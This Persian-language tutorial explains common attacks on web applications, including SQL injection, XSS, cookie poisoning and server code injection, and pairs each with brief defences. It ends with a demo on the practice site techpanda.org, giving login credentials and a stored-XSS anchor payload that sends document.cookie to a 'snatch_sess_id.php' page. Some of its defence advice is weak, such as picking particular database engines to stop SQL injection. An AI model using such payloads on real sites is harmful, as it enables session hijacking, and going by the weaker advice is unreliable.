سایت ها چگونه هک می شوند ؟


مقدمه
فهرست موضوعات مطالب
امروزه اکثر شرکت ها و کمپانی های بزرگ و کوچک برای توسعه کسب و کارشان وب سایت راه اندازی کردند و دغدغه مهم آن ها امنیت و سوال اساسی ان است که سایت ها چگونه هک می شوند ؟ برای پاسخ به این سوال، از سه جنبه زیر نیاز به بررسی دارد:
مباحثی که خواهید آموخت:
وب اپلیکیشن و انواع حملات به آن
وب اپلیکیشن در واقع برنامه های اپلیکیشن محور با یک ساختار کاربر_سرویس دهنده یا همان کلاینت_سرور است،
که در سمت کاربر بر روی مرورگرها اجرا و در سمت سرور بر روی یک وب سرور قرار دارد.
لازم به ذکر است که کار سرور تأمین پایگاه داده برای کاربر یا کلاینت است. همچنین موتور های پایگاه داده آنها
از زبان های پرس و جویی مانند: MySQL, MS SQL Server, PostgreSQL, SQLite, SQFlite و … بهره میگیرند.
و به طور کلی وب اپلیکیشن ها را میتوان با زبان های Java, C#, VB.Net, PHP و … ایجاد و توسعه داد.
بیشتر web application ها روی سرور های عمومی قرار دارند و از طریق اینترنت قابل دستیابی هستند.
همین امر موجب آسیبپذیری آنها در برابر حملات سایبری میشود.
در تصویر زیر یک نمونه از web application را آوردهایم. اگر به ساختار آن نگاه کنید، مشابه Gmail (نسخه وب) که خود
یک مثال بارز از این نوع برنامه هاست، میباشد.
انواع حملات به وب سایتها:
- تزریق کد SQL Injection) SQL): هدف از این حمله کنار زدن و دور زدن الگوریتمهای ورود به حساب کاربری،
دستکاری اطلاعات و غیره میباشد.
- حمله منع سرویس: در این نوع، هدف، قطع دسترسی کاربران مجاز به اکانت یا سرویس ارائه شده میباشد.
- اسکیریپت نویسی ضربدری XSS: هدف، تزریق کد یا بطور ویژه، اسکیریپ؛ برای اجرا در سمت مرورگر کلاینت است.
- آلوده کردن کوکی یا اتصال (نشست): برای تغییر کوکی و نفوذ به اطلاعات غیر مجاز
- شکل دهی و صحنه سازی: به منظور اصلاح داده ها، مثل تغییر قیمت در سایت های معتبر اقتصادی و فروشگاهی.
- تزریق کد به سرور: قرار دادن کدهایی همانند PHP و Python در سرور، با قابلیت راه نفوذی یا back door و افشای اطلاعات و داده های حساس
- جابه جایی: جابه جایی صفحه اصلی یک سایت با یک صفحه جعلی و انتقال تراکنشها و اطلاعات عملیات کاربر به هکر
چگونه وب سایت خود را در برابر هک ایمن کنیم؟
برای حفاظت از سایت به ویژه در سمت سرور برای هر یک از تهدید های بالا راه کارهای زیر موجود است:
- تزریق کد SQL Injection) SQL): اعتبار سنجی مشخصات کاربران قبل از ارائه آنها به پایگاه داده، برای
پردازش و نیز استفاده از MS SQL Server, MySQL به جای موارد دیگر و SQL های اولیه میتواند، خطر این نوع حمله را
تا حد مطلوبی کاهش دهد.
- حمله منع سرویس: استفاده از فایروال ها به منظور کاهش ترافیک ناشی از آدرس های IP ناشناس،
البته برای تهدیدات ساده جوابگو است. در کل پیکربندی مناسب شبکه و تشخیص نفوذ نیز کمک شایانی
به بالا رفت امنیت سایت میشود.
- اسکیریپت نویسی ضربدری XSS: اعتبار سنجی پارامترهایی که از طریق لینک منتقل میشوند،
تا پارامترهایی که هکر ها به صورت مخفی ارسال میکنند، تشخیص داده شوند.
- آلوده کردن کوکی یا اتصال (نشست): با رمز کردن محتوای کوکیها، زمان بندی آنها و ارتباط شان با
آدرس IP مربوط به هر کدام، خطر این حمله کاهش مییابد.
- شکل دهی و صحنه سازی: با بررسی و تایید ورودی های کاربران میتان بر این امر نظارت کرد.
- تزریق کد به سرور: جلوگیری با اعمال پارامترها به صورت فرمت دادهای به جای فرمت exe یا همان فایل اجرایی
- جابه جایی: با پیکربندی درست سیستم عامل و نرمافزار وب سرور و اجرای بهترین تست های امنیتی هنگام توسعه اپلیکیشن سمت کلاینت، ریسک این تهدید نیز کم میشود.
تا این جای کار تا حدودی فهمیدیم که سایت ها چگونه هک می شوند ؛ حالا وارد بخش جذاب کار یعنی هک سایت میشویم.
انجام هک یک وب سایت
هدف از این کار درک بهتر مفاهیم گفته شده در بالاست.
ما سایت www.techpanda.org را برای این کار در نظر گرفتیم. برای شروع بر روی آن کلیک میکنیم.
در صفحه ظاهر شده با ایمیل admin@google.com و پسورد Password2010 وارد شوید.
شاید بپرسید که با داشتن نام کاربری و رمز عبور همه چیز حل میشود، ولی باید گفت هدف ما فراتر از این است، چون پیدا کردن رمز با بی احتیاطی ادمین به روش های مختلف بدست میاید و آنچه مهم است؛ انجام مواردی چون تزریق کد، منع سرویس، اسکیریپ نویسی و… است، که فبلا به آن اشاره کردیم.
اگر اطلاعات را درست وارد کنید صفحه زیر را مشاهده خواهید کرد.
حال با توجه به تصویر بر روی گزینه Add New Contact کلیک کنید.
در گام بعد، ابتدا کد زیر را کپی کرده و آن را در قسمت اول و بقیه مشخصات را مطابق تصویر زیر وارد کنید:
<a href=# onclick=\”document.location=\’http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\”>Dark</a>
کد بالا یک کد به زبان جاوااسکیریپت است که یک هایپر لینک ایجاد میکند. که با کلیک بر روی آن که در ادامه نشان خواهیم داده کوکی یا PHP session آن نمایش داده خواهد شد.
سپس روی Save Changes کلیک کنید. اکنون به آخرین آیتم ایجاد شده میرویم که مربوط به چیزی است که ساختیم.
حال با کلیک بر آن، صفحه زیر با PHPSession که اطلاعات کوکی است، نمایش داده میشود.
توجه: اطلاعاتی که وارد شد میتواند به نام های دلخواه دیگری نیز باشد.
1 دیدگاه